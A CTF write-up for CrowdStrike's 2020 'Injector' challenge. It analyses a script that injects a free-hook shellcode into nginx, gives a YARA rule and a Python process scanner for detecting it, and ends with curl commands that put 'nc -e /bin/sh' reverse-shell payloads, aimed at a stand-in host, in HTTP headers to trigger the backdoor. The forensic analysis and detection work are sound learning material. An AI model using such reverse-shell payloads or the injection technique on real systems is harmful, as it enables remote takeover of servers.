[Crowdstrike CTF 2020] Forensic analysis of an injected backdoor

Introduction

This challenge was part of the Adversary Quest challenge proposed by Crowdstrike.

Challenge Description

We are provieded with a snapshot (qcow2) of the compromised host. The goal was to find and understand the backdoor hidden by Space Jackal so we could use it at injector.challenges.adversary.zone and get the flag.

This challenge was super interesting and I learned a lot of things!

Explanation

Finding the backdoor

The first thing I did was to check the running process:

Process List

Nothing suspicious, then I looked at process listening for incoming connections:

Listening Process List

Since the challenge was named “Injector”, the backdoor could be injected in one of these process.

Now, I decided to check out the filesystem and found something interesting in the /tmp folder:

Interesting Files

This script is clearly suspicious.

Suspicious Script

Analyzing the suspicious script

I was lazy and the script was really short. So instead of deobfuscating everything I just removed dangerous commands and put some prints.

Here is the output of my modified version:

Injector Script Output

Basically, the script is looking for the libc memory mapping of a process (it’s pid is given in parameter). Then it gets addresses of __free_hook, system, free, malloc_usable_size.
Then it computes some values and replaces multiples const in a shellcode with the computed addresses.
Finally, the script uses dd to copy the shellcode and an address in memory (/proc/pid/mem).

So, this script is injecting an hook to free libc function. This hook may call system since the address has been added in the shellcode.

Shellcode Analysis

Since the shellcode was short, I used https://onlinedisassembler.com/ to get the control flow graph.

CFG

The shellcode check if the allocated size is greater than 5 bytes and then compare the first 4 bytes to 0x63 0x6d 0x64 0x7b -> cmd{.

Prefix check

If everything match, it copy the string until finding a }.
Then, the shellcode calls system (address stored in r13) with the previous string:

System Call

Finally, it calls the real free function.

To resume, when a call to free is made, the shellcode check if the memory zone is greater than 5 bytes and contains cmd{ at the beginning. When it’s the case, it get the string between cmd{ and } and calls system. Then the memory area is freed.

So, when we find the process, we’ll have to pass a string that will be allocated and then freed.

Finding the backdoored process

To do this, I used yara and python. The goal was to create a yara rule and then scan every process on the system.

I used the following rule which looks for the shellcode without the computed addresses:

rule InjectedBackdoor
{
    strings:
       $hex_string = { 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 55 49 BD ?? ?? ?? ?? ?? ?? ?? ?? 41 54 49 89 FC 55 53 4C 89 E3 52 FF D0 48 89 C5 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 00 00 00 00 00 48 83 FD 05 76 61 80 3B 63 75 54 80 7B 01 6D 75 4E 80 7B 02 64 75 48 80 7B 03 7B 75 42 C6 03 00 48 8D 7B 04 48 8D 55 FC 48 89 F8 8A 08 48 89 C3 48 89 D5 48 8D 40 01 48 8D 52 FF 8D 71 E0 40 80 FE 5E 77 1B 80 F9 7D 75 08 C6 03 00 41 FF D5 EB 0E 48 83 FA 01 75 D4 BD 01 00 00 00 48 89 C3 48 FF C3 48 FF CD EB 99 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 E7 FF D0 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 A3 ?? ?? ?? ?? ?? ?? ?? ?? 58 5B 5D 41 5C 41 5D C3 }

    condition:
       $hex_string
}

Then I created the following python script to scan every process:

import yara
import psutil

rule = yara.compile('/tmp/.hax/rule.yara')

for p in psutil.process_iter():
    try:
        print(p.pid)
        print(rule.match(pid=p.pid))
        print('--------------')
    except:
        pass

I got a match on nginx process. Which make sense because this service is listening for external connection.

Let’s trigger the backdoor

So now we need to find a call to free made by nginx on a string we can control by doing a valid HTTP request.

Since the code is open source, I went to https://github.com/nginx/nginx and tried to find something in the headers area because we’re free to put what we want here. I didn’t find a direct call to free but saw that User-Agent headers were processed differently.

After trying different things such as…

curl -H "Toto: cmd{nc -e /bin/sh example.com 4445}" injector.challenges.adversary.zone:4321
curl -H "cmd{nc -e /bin/sh example.com 4445}: Toto" injector.challenges.adversary.zone:4321

…I tried…

curl -H "User-Agent: cmd{nc -e /bin/sh example.com 4445}" injector.challenges.adversary.zone:4321

…and it worked!

Getting the Flag

Won Meme

Conclusion

This was an amazing challenge which required forensic, reverse and some pwn skills. It allowed me to improve my methodology and be more rigorous.
The Crowdstrike CTF was really difficult overall but I learned so many things in a fun and interesting way.
Thank you for that and I’ll be here for the next one! ;)

--
Kn0wledge